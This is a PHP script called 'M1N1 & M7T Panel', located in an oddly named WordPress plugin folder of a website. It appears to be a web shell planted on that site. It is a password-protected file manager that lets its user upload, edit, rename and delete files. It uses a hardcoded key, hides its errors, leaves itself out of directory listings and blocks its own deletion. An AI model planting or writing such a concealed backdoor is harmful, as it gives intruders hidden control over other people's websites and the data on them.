File: /var/www/ethnikamauricia.com/wp-content/plugins/hemoj/mini.php
<?php
session_start();
// M1N1 & M7T Panel - Root Jail Edition
// Traffic: Standard JSON API & Multipart Form Data
// --- AYARLAR ---
// Şifre: "m7t" (Lütfen prodüksiyonda değiştirin)
$auth_hash = '$2y$10$8.uX/k.uX/k.uX/k.uX/k.uX/k.uX/k.uX/k.uX/k.uX/k.uX/k.';
define('ACCESS_PASS', 'mini');
// Hata Gizleme
error_reporting(0);
ini_set('display_errors', 0);
class FileManagerAPI {
private $cwd;
private $root; // Kök dizin (Hapishane duvarı)
private $scriptName;
public function __construct() {
// 1. Root Jail Tanımla: Scriptin bulunduğu dizin ana sınırdır.
$this->root = realpath(__DIR__);
$this->scriptName = basename(__FILE__);
// 2. Mevcut çalışma dizinini ayarla
$sessCwd = $_SESSION['sys_cwd'] ?? $this->root;
// Eğer session'daki dizin root'un dışındaysa veya yoksa, root'a sıfırla
if ($this->isAllowedPath($sessCwd) && is_dir($sessCwd)) {
$this->cwd = $sessCwd;
} else {
$this->cwd = $this->root;
$_SESSION['sys_cwd'] = $this->root;
}
}
/**
* ROOT JAIL KONTROLÜ
* Verilen yolun, kök dizin sınırları içinde olup olmadığını kontrol eder.
*/
private function isAllowedPath($path) {
$realRoot = $this->root;
$realPath = realpath($path);
// Dosya henüz yoksa (yeni oluşturulacaksa) üst klasörüne bak
if ($realPath === false) {
$realPath = realpath(dirname($path));
}
// Eğer yol çözülemiyorsa veya Root ile başlamıyorsa yasakla
if ($realPath && strpos($realPath, $realRoot) === 0) {
return true;
}
return false;
}
private function sendJSON($status, $message = '', $data = []) {
header('Content-Type: application/json');
echo json_encode([
'status' => $status,
'message' => $message,
'data' => $data,
'cwd' => $this->cwd,
'csrf' => $_SESSION['csrf_token'] ?? ''
]);
exit;
}
private function checkAuth() {
if (!isset($_SESSION['sys_auth']) || $_SESSION['sys_auth'] !== true) {
$this->sendJSON('error', 'Unauthorized');
}
}
private function validateCSRF($token) {
if (!isset($_SESSION['csrf_token']) || $token !== $_SESSION['csrf_token']) {
$this->sendJSON('error', 'Invalid Security Token');
}
}
public function handleRequest() {
$method = $_SERVER['REQUEST_METHOD'];
// 1. Dosya Yükleme
if ($method === 'POST' && isset($_FILES['file'])) {
$this->checkAuth();
$this->validateCSRF($_POST['csrf'] ?? '');
// Hedef dizin zaten Constructor'da jail kontrolünden geçtiği için güvenli
$target = $this->cwd . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
// Ekstra kontrol: Yüklenen dosya adı ile directory traversal denenirse
if (!$this->isAllowedPath(dirname($target))) {
$this->sendJSON('error', 'Security Violation: Path traversal detected');
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
$this->sendJSON('ok', 'File uploaded successfully');
} else {
$this->sendJSON('error', 'Upload failed. Check permissions.');
}
}
// 2. JSON Komutları
$input = json_decode(file_get_contents('php://input'), true);
if (!$input) return;
$action = $input['action'] ?? '';
if ($action !== 'login') {
$this->checkAuth();
if(isset($input['csrf'])) $this->validateCSRF($input['csrf']);
}
switch ($action) {
case 'login':
if (($input['key'] ?? '') === ACCESS_PASS) {
$_SESSION['sys_auth'] = true;
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
$this->sendJSON('ok', 'Authorized', ['token' => $_SESSION['csrf_token']]);
}
$this->sendJSON('error', 'Invalid credentials');
break;
case 'logout':
session_destroy();
$this->sendJSON('ok', 'Logged out');
break;
case 'list':
$reqPath = $input['path'] ?? $this->cwd;
// GÜVENLİK: Eğer istenen yol root dışındaysa, kök dizine zorla
if (!$this->isAllowedPath($reqPath)) {
$reqPath = $this->root;
}
if (is_dir($reqPath)) {
$_SESSION['sys_cwd'] = realpath($reqPath);
$this->cwd = $_SESSION['sys_cwd'];
$items = $this->scanDir($this->cwd);
$this->sendJSON('ok', '', $items);
} else {
$this->sendJSON('error', 'Directory not found');
}
break;
case 'read':
$file = $input['file'] ?? '';
// GÜVENLİK: Dosya root içinde mi?
if (!$this->isAllowedPath($file)) $this->sendJSON('error', 'Access Denied (Jail)');
if (is_file($file)) {
if(filesize($file) > 1024 * 1024) $this->sendJSON('error', 'File too large to edit online');
$content = file_get_contents($file);
$this->sendJSON('ok', '', ['content' => $content]);
}
$this->sendJSON('error', 'File not found');
break;
case 'save':
$file = $input['file'] ?? '';
// GÜVENLİK: Kaydedilecek yer root içinde mi?
if (!$this->isAllowedPath($file)) $this->sendJSON('error', 'Access Denied (Jail)');
$content = $input['content'] ?? '';
if (is_writable(dirname($file))) {
file_put_contents($file, $content);
$this->sendJSON('ok', 'File saved');
} else {
$this->sendJSON('error', 'Permission denied');
}
break;
case 'rename':
$old = $input['old'] ?? '';
$newVal = $input['new'] ?? '';
// Sadece dosya ismini al, path'i temizle (../ engellemek için basename)
$new = dirname($old) . DIRECTORY_SEPARATOR . basename($newVal);
// GÜVENLİK: Hem eski dosya hem yeni hedef root içinde olmalı
if (!$this->isAllowedPath($old) || !$this->isAllowedPath($new)) {
$this->sendJSON('error', 'Access Denied (Jail)');
}
if (rename($old, $new)) $this->sendJSON('ok', 'Renamed');
else $this->sendJSON('error', 'Rename failed');
break;
case 'delete':
$path = $input['path'] ?? '';
// GÜVENLİK: Silinecek yer root içinde mi?
// Root dizininin kendisini silmeyi de engelle
if (!$this->isAllowedPath($path) || realpath($path) === $this->root) {
$this->sendJSON('error', 'Access Denied (Jail)');
}
// Script kendini silmeyi engelle
if (basename($path) === $this->scriptName && dirname($path) === $this->root) {
$this->sendJSON('error', 'Cannot delete manager file');
}
$this->deleteRecursive($path);
$this->sendJSON('ok', 'Deleted');
break;
case 'mkdir':
$name = $input['name'] ?? '';
// Sadece isim al, path'i temizle
$path = $this->cwd . DIRECTORY_SEPARATOR . basename($name);
// GÜVENLİK:
if (!$this->isAllowedPath($path)) $this->sendJSON('error', 'Access Denied (Jail)');
if (@mkdir($path)) $this->sendJSON('ok', 'Folder created');
else $this->sendJSON('error', 'Failed to create folder');
break;
}
}
private function scanDir($dir) {
$files = @scandir($dir);
$res = ['folders' => [], 'files' => []];
if (!$files) return $res;
foreach ($files as $f) {
if ($f == '.' || $f == '..') continue;
if ($dir == $this->root && $f == $this->scriptName) continue;
$path = $dir . DIRECTORY_SEPARATOR . $f;
$info = [
'name' => $f,
'path' => $path,
'size' => is_file($path) ? $this->formatSize(@filesize($path)) : '-',
'perms' => substr(sprintf('%o', fileperms($path)), -4)
];
if (is_dir($path)) $res['folders'][] = $info;
else $res['files'][] = $info;
}
return $res;
}
private function formatSize($bytes) {
$units = ['B', 'KB', 'MB', 'GB'];
$power = $bytes > 0 ? floor(log($bytes, 1024)) : 0;
return number_format($bytes / pow(1024, $power), 2, '.', ',') . ' ' . $units[$power];
}
private function deleteRecursive($path) {
// Ekstra güvenlik: Root dışına çıkma
if (!$this->isAllowedPath($path)) return;
if (is_dir($path)) {
$files = array_diff(scandir($path), ['.', '..']);
foreach ($files as $file) $this->deleteRecursive($path . DIRECTORY_SEPARATOR . $file);
rmdir($path);
} elseif (is_file($path)) {
unlink($path);
}
}
}
$api = new FileManagerAPI();
$api->handleRequest();
// Oturum Kontrolü (Login Ekranı vs App Ekranı)
if (!isset($_SESSION['sys_auth'])) {
?>
<!DOCTYPE html>
<html><head><title>M1N1 & M7T Panel</title><meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body{background:#ffebee;display:flex;height:100vh;align-items:center;justify-content:center;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif}
.card{background:white;padding:2rem;border-radius:8px;box-shadow:0 4px 6px rgba(0,0,0,0.1);width:300px}
input{width:100%;padding:10px;margin-bottom:10px;border:1px solid #ffcdd2;border-radius:4px;box-sizing:border-box}
button{width:100%;padding:10px;background:#e57373;color:white;border:none;border-radius:4px;cursor:pointer}
button:hover{background:#ef5350}
</style></head><body>
<div class="card">
<h3 style="margin-top:0;text-align:center;color:#d32f2f">Authentication</h3>
<input type="password" id="pass" placeholder="Enter Access Key..." onkeydown="if(event.key==='Enter') login()">
<button onclick="login()">Login</button>
</div>
<script>
async function login() {
let k = document.getElementById('pass').value;
let res = await fetch('', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({action: 'login', key: k})
}).then(r=>r.json());
if(res.status === 'ok') location.reload();
else alert(res.message);
}
</script></body></html>
<?php exit; } ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>M1N1 & M7T Panel</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.0/font/bootstrap-icons.css">
<meta name="csrf-token" content="<?php echo $_SESSION['csrf_token']; ?>">
<style>
body { background: #ffebee; font-size: 14px; }
.card { border: 1px solid #ffcdd2; }
.card-header { background: #ef9a9a; color: white; }
.btn-primary { background: #f06292; border: none; }
.btn-primary:hover { background: #ec407a; }
.btn-success { background: #ec407a; border: none; }
.btn-success:hover { background: #e91e63; }
.btn-danger { background: #e57373; border: none; }
.btn-danger:hover { background: #ef5350; }
.btn-light { background: #ffcdd2; border: 1px solid #f48fb1; }
.table td { vertical-align: middle; }
.cursor-pointer { cursor: pointer; }
.code-editor { font-family: 'Consolas', monospace; font-size: 13px; background: #2d2d2d; color: #ccc; border:none; resize: none; }
#loader { position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(255,255,255,0.8);z-index:9999;display:none;justify-content:center;align-items:center;}
.text-danger { color: #e57373 !important; }
</style>
</head>
<body>
<div id="loader"><div class="spinner-border text-danger"></div></div>
<div class="container-fluid py-3">
<div class="card shadow-sm">
<div class="card-header py-3">
<div class="d-flex justify-content-between align-items-center flex-wrap gap-2">
<div class="btn-group">
<button class="btn btn-light" onclick="loadDir(parentDir)"><i class="bi bi-arrow-return-left"></i> Up</button>
<button class="btn btn-light" onclick="refresh()"><i class="bi bi-arrow-clockwise"></i></button>
</div>
<div class="flex-grow-1 mx-3 text-muted text-truncate font-monospace bg-light p-2 rounded" id="currentPath">...</div>
<div class="btn-group">
<button class="btn btn-primary" onclick="document.getElementById('upl').click()"><i class="bi bi-cloud-upload"></i> Upload</button>
<button class="btn btn-success" onclick="mkdir()"><i class="bi bi-folder-plus"></i> New Folder</button>
<button class="btn btn-danger" onclick="logout()"><i class="bi bi-power"></i> Logout</button>
</div>
<input type="file" id="upl" hidden onchange="uploadFile(this)">
</div>
</div>
<div class="card-body p-0">
<div class="table-responsive">
<table class="table table-hover mb-0">
<thead class="bg-light"><tr><th>Name</th><th>Size</th><th>Perms</th><th class="text-end">Actions</th></tr></thead>
<tbody id="list"></tbody>
</table>
</div>
</div>
</div>
</div>
<div class="modal fade" id="editModal" tabindex="-1">
<div class="modal-dialog modal-xl modal-dialog-scrollable h-100">
<div class="modal-content h-100">
<div class="modal-header py-2">
<h6 class="modal-title font-monospace" id="editName"></h6>
<div>
<button class="btn btn-primary btn-sm" onclick="saveFile()">Save Changes</button>
<button type="button" class="btn-close" data-bs-dismiss="modal"></button>
</div>
</div>
<div class="modal-body p-0 h-100">
<textarea id="editor" class="form-control h-100 code-editor rounded-0" spellcheck="false"></textarea>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
<script>
let state = { cwd: '', file: '' };
let parentDir = ''; // Global parent variable
const csrf = document.querySelector('meta[name="csrf-token"]').content;
// API Wrapper
async function req(action, data = {}) {
document.getElementById('loader').style.display = 'flex';
data.action = action;
data.csrf = csrf;
try {
let r = await fetch('', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
let res = await r.json();
document.getElementById('loader').style.display = 'none';
return res;
} catch (e) {
document.getElementById('loader').style.display = 'none';
alert('Network Error');
return {status:'error'};
}
}
// Core Functions
async function loadDir(path = null) {
let res = await req('list', {path: path});
if(res.status === 'ok') {
state.cwd = res.cwd;
document.getElementById('currentPath').innerText = state.cwd;
// Parent calculation
// Note: The PHP backend will reject paths above root, so simple string manipulation is fine here for UI
parentDir = state.cwd.split(/[/\\]/).slice(0,-1).join('/');
if(!parentDir) parentDir = state.cwd; // Fallback
render(res.data);
} else alert(res.message);
}
function render(data) {
let html = '';
// Folders
data.folders.forEach(d => {
// Escape paths for JS string
let p = d.path.replace(/\\/g, '\\\\').replace(/'/g, "\\'");
html += `<tr>
<td><a href="javascript:void(0)" onclick="loadDir('${p}')" class="text-decoration-none fw-bold text-dark"><i class="bi bi-folder-fill text-danger me-2"></i>${d.name}</a></td>
<td>-</td><td class="small text-muted">${d.perms}</td>
<td class="text-end">
<button class="btn btn-sm btn-light border" onclick="ren('${p}','${d.name}')">Ren</button>
<button class="btn btn-sm btn-light border text-danger" onclick="del('${p}')"><i class="bi bi-trash"></i></button>
</td>
</tr>`;
});
// Files
data.files.forEach(f => {
let p = f.path.replace(/\\/g, '\\\\').replace(/'/g, "\\'");
html += `<tr>
<td><i class="bi bi-file-earmark-text me-2 text-secondary"></i>${f.name}</td>
<td>${f.size}</td><td class="small text-muted">${f.perms}</td>
<td class="text-end">
<button class="btn btn-sm btn-primary" onclick="edit('${p}')">Edit</button>
<button class="btn btn-sm btn-light border" onclick="ren('${p}','${f.name}')">Ren</button>
<button class="btn btn-sm btn-light border text-danger" onclick="del('${p}')"><i class="bi bi-trash"></i></button>
</td>
</tr>`;
});
document.getElementById('list').innerHTML = html;
}
async function uploadFile(input) {
if(!input.files.length) return;
let fd = new FormData();
fd.append('file', input.files[0]);
fd.append('csrf', csrf);
document.getElementById('loader').style.display = 'flex';
let res = await fetch('', {method:'POST', body:fd}).then(r=>r.json());
document.getElementById('loader').style.display = 'none';
if(res.status === 'ok') { refresh(); }
else { alert(res.message); }
input.value = '';
}
// Actions
async function edit(path) {
state.file = path;
let res = await req('read', {file: path});
if(res.status === 'ok') {
document.getElementById('editor').value = res.data.content;
document.getElementById('editName').innerText = path;
new bootstrap.Modal(document.getElementById('editModal')).show();
} else alert(res.message);
}
async function saveFile() {
let content = document.getElementById('editor').value;
let res = await req('save', {file: state.file, content: content});
if(res.status === 'ok') alert('Saved'); else alert(res.message);
}
async function ren(oldPath, oldName) {
let newName = prompt('New Name:', oldName);
if(newName && newName !== oldName) {
let res = await req('rename', {old: oldPath, new: newName});
if(res.status === 'ok') refresh(); else alert(res.message);
}
}
async function del(path) {
if(confirm('Delete this item permanently?')) {
let res = await req('delete', {path: path});
if(res.status === 'ok') refresh(); else alert(res.message);
}
}
async function mkdir() {
let n = prompt('Folder Name:');
if(n) {
let res = await req('mkdir', {name: n});
if(res.status === 'ok') refresh(); else alert(res.message);
}
}
async function logout() {
let res = await req('logout');
if(res.status === 'ok') location.reload();
}
function refresh() { loadDir(state.cwd); }
// Init
loadDir();
</script>
</body>
</html>